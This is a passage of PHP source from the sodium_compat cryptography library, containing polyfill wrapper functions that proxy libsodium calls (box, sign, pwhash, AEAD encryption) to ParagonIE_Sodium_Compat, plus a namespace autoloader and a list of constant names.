            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_box_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_publickey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_box_publickey($keypair);
    }
}
if (!is_callable('\\Sodium\\crypto_box_publickey_from_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey()
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_publickey_from_secretkey($sk)
    {
        return ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($sk);
    }
}
if (!is_callable('\\Sodium\\crypto_box_seal')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_seal($message, $publicKey)
    {
        return ParagonIE_Sodium_Compat::crypto_box_seal($message, $publicKey);
    }
}
if (!is_callable('\\Sodium\\crypto_box_seal_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
     * @param string $message
     * @param string $kp
     * @return string|bool
     */
    function crypto_box_seal_open($message, $kp)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_seal_open($message, $kp);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_box_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_secretkey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_secretkey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_box_secretkey($keypair);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash()
     * @param string $message
     * @param string|null $key
     * @param int $outLen
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash($message, $key = null, $outLen = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash($message, $key, $outLen);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash_final')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_final()
     * @param string|null $ctx
     * @param int $outputLength
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash_final(&$ctx, $outputLength = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx, $outputLength);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash_init')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_init()
     * @param string|null $key
     * @param int $outLen
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash_init($key = null, $outLen = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_init($key, $outLen);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash_update')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_update()
     * @param string|null $ctx
     * @param string $message
     * @return void
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash_update(&$ctx, $message = '')
    {
        ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $message);
    }
}
if (!is_callable('\\Sodium\\crypto_kx')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kx()
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_kx($my_secret, $their_public, $client_public, $server_public)
    {
        return ParagonIE_Sodium_Compat::crypto_kx(
            $my_secret,
            $their_public,
            $client_public,
            $server_public,
            true
        );
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash()
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_str')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_str($passwd, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd, $opslimit, $memlimit);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_str_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_str_verify($passwd, $hash)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd, $hash);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256()
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt, $opslimit, $memlimit);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash);
    }
}
if (!is_callable('\\Sodium\\crypto_scalarmult')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult()
     * @param string $n
     * @param string $p
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_scalarmult($n, $p)
    {
        return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p);
    }
}
if (!is_callable('\\Sodium\\crypto_scalarmult_base')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base()
     * @param string $n
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_scalarmult_base($n)
    {
        return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n);
    }
}
if (!is_callable('\\Sodium\\crypto_secretbox')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_secretbox($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_secretbox_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox_open()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function crypto_secretbox_open($message, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_secretbox_open($message, $nonce, $key);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_shorthash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_shorthash()
     * @param string $message
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_shorthash($message, $key = '')
    {
        return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_sign')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign()
     * @param string $message
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign($message, $sk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign($message, $sk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_detached()
     * @param string $message
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_detached($message, $sk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_keypair()
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_sign_keypair();
    }
}
if (!is_callable('\\Sodium\\crypto_sign_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_open()
     * @param string $signedMessage
     * @param string $pk
     * @return string|bool
     */
    function crypto_sign_open($signedMessage, $pk)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $pk);
        } catch (\TypeError $ex) {
            return false;
        } catch (\SodiumException $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_sign_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_publickey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_publickey($keypair);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_publickey_from_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey()
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_publickey_from_secretkey($sk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($sk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_secretkey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_secretkey($keypair);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_seed_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair()
     * @param string $seed
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_seed_keypair($seed)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_verify_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached()
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_verify_detached($signature, $message, $pk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $pk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_ed25519_pk_to_curve25519')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519()
     * @param string $pk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($pk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_ed25519_sk_to_curve25519')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519()
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_ed25519_sk_to_curve25519($sk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($sk);
    }
}
if (!is_callable('\\Sodium\\crypto_stream')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream()
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_stream($len, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream($len, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_stream_xor')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xor()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_stream_xor($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\hex2bin')) {
    /**
     * @see ParagonIE_Sodium_Compat::hex2bin()
     * @param string $string
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function hex2bin($string)
    {
        return ParagonIE_Sodium_Compat::hex2bin($string);
    }
}
if (!is_callable('\\Sodium\\memcmp')) {
    /**
     * @see ParagonIE_Sodium_Compat::memcmp()
     * @param string $a
     * @param string $b
     * @return int
     * @throws \SodiumException
     * @throws \TypeError
     */
    function memcmp($a, $b)
    {
        return ParagonIE_Sodium_Compat::memcmp($a, $b);
    }
}
if (!is_callable('\\Sodium\\memzero')) {
    /**
     * @see ParagonIE_Sodium_Compat::memzero()
     * @param string $str
     * @return void
     * @throws \SodiumException
     * @throws \TypeError
     *
     * @psalm-suppress MissingParamType
     * @psalm-suppress MissingReturnType
     * @psalm-suppress ReferenceConstraintViolation
     */
    function memzero(&$str)
    {
        ParagonIE_Sodium_Compat::memzero($str);
    }
}
if (!is_callable('\\Sodium\\randombytes_buf')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_buf()
     * @param int $amount
     * @return string
     * @throws \TypeError
     */
    function randombytes_buf($amount)
    {
        return ParagonIE_Sodium_Compat::randombytes_buf($amount);
    }
}

if (!is_callable('\\Sodium\\randombytes_uniform')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_uniform()
     * @param int $upperLimit
     * @return int
     * @throws \SodiumException
     * @throws \Error
     */
    function randombytes_uniform($upperLimit)
    {
        return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit);
    }
}

if (!is_callable('\\Sodium\\randombytes_random16')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_random16()
     * @return int
     */
    function randombytes_random16()
    {
        return ParagonIE_Sodium_Compat::randombytes_random16();
    }
}

if (!defined('\\Sodium\\CRYPTO_AUTH_BYTES')) {
    require_once dirname(__FILE__) . '/constants.php';
}
<?php

require_once dirname(dirname(__FILE__)) . '/autoload.php';

if (PHP_VERSION_ID < 50300) {
    return;
}

/*
 * This file is just for convenience, to allow developers to reduce verbosity when
 * they add this project to their libraries.
 *
 * Replace this:
 *
 * $x = ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_encrypt(...$args);
 *
 * with this:
 *
 * use ParagonIE\Sodium\Compat;
 *
 * $x = Compat::crypto_aead_xchacha20poly1305_encrypt(...$args);
 */
spl_autoload_register(function ($class) {
    if ($class[0] === '\\') {
        $class = substr($class, 1);
    }
    $namespace = 'ParagonIE\\Sodium';
    // Does the class use the namespace prefix?
    $len = strlen($namespace);
    if (strncmp($namespace, $class, $len) !== 0) {
        // no, move to the next registered autoloader
        return false;
    }

    // Get the relative class name
    $relative_class = substr($class, $len);

    // Replace the namespace prefix with the base directory, replace namespace
    // separators with directory separators in the relative class name, append
    // with .php
    $file = dirname(dirname(__FILE__)) . '/namespaced/' . str_replace('\\', '/', $relative_class) . '.php';
    // if the file exists, require it
    if (file_exists($file)) {
        require_once $file;
        return true;
    }
    return false;
});
<?php

require_once dirname(dirname(__FILE__)) . '/autoload.php';

/**
 * This file will monkey patch the pure-PHP implementation in place of the
 * PECL functions and constants, but only if they do not already exist.
 *
 * Thus, the functions or constants just proxy to the appropriate
 * ParagonIE_Sodium_Compat method or class constant, respectively.
 */
foreach (array(
    'BASE64_VARIANT_ORIGINAL',
    'BASE64_VARIANT_ORIGINAL_NO_PADDING',
    'BASE64_VARIANT_URLSAFE',
    'BASE64_VARIANT_URLSAFE_NO_PADDING',
    'CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_ABYTES',
    'CRYPTO_AEAD_AES256GCM_KEYBYTES',
    'CRYPTO_AEAD_AES256GCM_NSECBYTES',
    'CRYPTO_AEAD_AES256GCM_NPUBBYTES',
    'CRYPTO_AEAD_AES256GCM_ABYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES',
    'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES',
    'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES',
    'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES',
    'CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES',
    'CRYPTO_AUTH_BYTES',
    'CRYPTO_AUTH_KEYBYTES',
    'CRYPTO_BOX_SEALBYTES',
    'CRYPTO_BOX_SECRETKEYBYTES',
    'CRYPTO_BOX_PUBLICKEYBYTES',
    'CRYPTO_BOX_KEYPAIRBYTES',
    'CRYPTO_BOX_MACBYTES',
    'CRYPTO_BOX_NONCEBYTES',
    'CRYPTO_BOX_SEEDBYTES',
    'CRYPTO_KDF_BYTES_MIN',
    'CRYPTO_KDF_BYTES_MAX',
    'CRYPTO_KDF_CONTEXTBYTES',
    'CRYPTO_KDF_KEYBYTES',
    'CRYPTO_KX_BYTES',
    'CRYPTO_KX_KEYPAIRBYTES',
    'CRYPTO_KX_PRIMITIVE',
    'CRYPTO_KX_SEEDBYTES',
    'CRYPTO_KX_PUBLICKEYBYTES',
    'CRYPTO_KX_SECRETKEYBYTES',
    'CRYPTO_KX_SESSIONKEYBYTES',
    'CRYPTO_GENERICHASH_BYTES',
    'CRYPTO_GENERICHASH_BYTES_MIN',
    'CRYPTO_GENERICHASH_BYTES_MAX',
    'CRYPTO_GENERICHASH_KEYBYTES',
    'CRYPTO_GENERICHASH_KEYBYTES_MIN',
    'CRYPTO_GENERICHASH_KEYBYTES_MAX',
    'CRYPTO_PWHASH_SALTBYTES',
    'CRYPTO_PWHASH_STRPREFIX',
    'CRYPTO_PWHASH_ALG_ARGON2I13',
    'CRYPTO_PWHASH_ALG_ARGON2ID13',
    'CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_MEMLIMIT_MODERATE',
    'CRYPTO_PWHASH_OPSLIMIT_MODERATE',
    'CRYPTO_PWHASH_MEMLIMIT_SENSITIVE',
    'CRYPTO_PWHASH_OPSLIMIT_SENSITIVE',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE',
    'CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE',
    'CRYPTO_SCALARMULT_BYTES',
    'CRYPTO_SCALARMULT_SCALARBYTES',
    'CRYPTO_SHORTHASH_BYTES',
    'CRYPTO_SHORTHASH_KEYBYTES',
    'CRYPTO_SECRETBOX_KEYBYTES',
    'CRYPTO_SECRETBOX_MACBYTES',
    'CRYPTO_SECRETBOX_NONCEBYTES',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL',
    'CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX',
    'CRYPTO_SIGN_BYTES',
    'CRYPTO_SIGN_SEEDBYTES',
    'CRYPTO_SIGN_PUBLICKEYBYTES',
    'CRYPTO_SIGN_SECRETKEYBYTES',
    'CRYPTO_SIGN_KEYPAIRBYTES',
    'CRYPTO_STREAM_KEYBYTES',
    'CRYPTO_STREAM_NONCEBYTES',
    'CRYPTO_STREAM_XCHACHA20_KEYBYTES',
    'CRYPTO_STREAM_XCHACHA20_NONCEBYTES',
    'LIBRARY_MAJOR_VERSION',
    'LIBRARY_MINOR_VERSION',
    'LIBRARY_VERSION_MAJOR',
    'LIBRARY_VERSION_MINOR',
    'VERSION_STRING'
    ) as $constant
) {
    if (!defined("SODIUM_$constant") && defined("ParagonIE_Sodium_Compat::$constant")) {
        define("SODIUM_$constant", constant("ParagonIE_Sodium_Compat::$constant"));
    }
}
if (!is_callable('sodium_add')) {
    /**
     * @see ParagonIE_Sodium_Compat::add()
     * @param string $string1
     * @param string $string2
     * @return void
     * @throws SodiumException
     */
    function sodium_add(&$string1, $string2)
    {
        ParagonIE_Sodium_Compat::add($string1, $string2);
    }
}
if (!is_callable('sodium_base642bin')) {
    /**
     * @see ParagonIE_Sodium_Compat::bin2base64()
     * @param string $string
     * @param int $variant
     * @param string $ignore
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_base642bin($string, $variant, $ignore ='')
    {
        return ParagonIE_Sodium_Compat::base642bin($string, $variant, $ignore);
    }
}
if (!is_callable('sodium_bin2base64')) {
    /**
     * @see ParagonIE_Sodium_Compat::bin2base64()
     * @param string $string
     * @param int $variant
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_bin2base64($string, $variant)
    {
        return ParagonIE_Sodium_Compat::bin2base64($string, $variant);
    }
}
if (!is_callable('sodium_bin2hex')) {
    /**
     * @see ParagonIE_Sodium_Compat::hex2bin()
     * @param string $string
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_bin2hex($string)
    {
        return ParagonIE_Sodium_Compat::bin2hex($string);
    }
}
if (!is_callable('sodium_compare')) {
    /**
     * @see ParagonIE_Sodium_Compat::compare()
     * @param string $string1
     * @param string $string2
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_compare($string1, $string2)
    {
        return ParagonIE_Sodium_Compat::compare($string1, $string2);
    }
}
if (!is_callable('sodium_crypto_aead_aes256gcm_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt()
     * @param string $ciphertext
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_aead_aes256gcm_decrypt($ciphertext, $additional_data, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt(
                $ciphertext,
                $additional_data,
                $nonce,
                $key
            );
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            if (($ex instanceof SodiumException) && ($ex->getMessage() === 'AES-256-GCM is not available')) {
                throw $ex;
            }
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_aead_aes256gcm_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt()
     * @param string $message
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_aes256gcm_encrypt($message, $additional_data, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message, $additional_data, $nonce, $key);
    }
}
if (!is_callable('sodium_crypto_aead_aes256gcm_is_available')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available()
     * @return bool
     */
    function sodium_crypto_aead_aes256gcm_is_available()
    {
        return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available();
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt()
     * @param string $ciphertext
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_aead_chacha20poly1305_decrypt($ciphertext, $additional_data, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt(
                $ciphertext,
                $additional_data,
                $nonce,
                $key
            );
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt()
     * @param string $message
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_chacha20poly1305_encrypt($message, $additional_data, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt(
            $message,
            $additional_data,
            $nonce,
            $key
        );
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_aead_chacha20poly1305_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen();
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt()
     * @param string $message
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_aead_chacha20poly1305_ietf_decrypt($message, $additional_data, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt(
                $message,
                $additional_data,
                $nonce,
                $key
            );
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt()
     * @param string $message
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_chacha20poly1305_ietf_encrypt($message, $additional_data, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt(
            $message,
            $additional_data,
            $nonce,
            $key
        );
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_aead_chacha20poly1305_ietf_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen();
    }
}
if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt()
     * @param string $ciphertext
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($ciphertext, $additional_data, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt(
                $ciphertext,
                $additional_data,
                $nonce,
                $key,
                true
            );
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt()
     * @param string $message
     * @param string $additional_data
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
        $message,
        $additional_data,
        $nonce,
        $key
    ) {
        return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt(
            $message,
            $additional_data,
            $nonce,
            $key,
            true
        );
    }
}
if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen()
     * @return string
     * @throws Exception
     */
    function sodium_crypto_aead_xchacha20poly1305_ietf_keygen()
